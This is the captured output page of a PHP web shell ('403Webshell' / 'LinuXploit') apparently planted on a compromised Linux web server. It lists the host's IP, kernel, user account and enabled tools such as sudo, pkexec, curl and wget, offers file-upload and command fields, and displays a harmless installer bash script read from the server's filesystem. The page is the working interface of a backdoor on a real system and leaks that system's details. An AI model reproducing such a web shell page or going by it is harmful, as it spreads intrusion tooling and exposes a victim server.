403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/opt/installer/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/opt/installer/include/installInProgressHttpd
#!/bin/bash

# Add this at the begining of all scripts.
if [ -f "include/startup.sh" ]; then
    . include/startup.sh
elif [ -f "../include/startup.sh" ]; then
    . ../include/startup.sh
fi

appPath=/var/www/html

if [ ! -d "$appPath" ]; then

    echo "Web server directory doesn't exist, exiting." | log 1
    exit 1

fi

if [ -f "$appPath/index.html" ]; then

    echo "index.html file exists. Skipping." | log
    tagScript success
    exit 99

fi

echo "Adding context Install in Progress to $appPath/index.html" | log
useFiglet
printf "<pre align=center>\n" > $appPath/index.html
bannerFiglet "Install in Progress\n Please Wait.\n" >> $appPath/index.html
printf "Application and services installation is in progress, process will take a couple of minutes to complete \n\nThank you for your patience.\n\nRefresh page within a couple of minutes for updated status." >> $appPath/index.html

tagScript success
exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit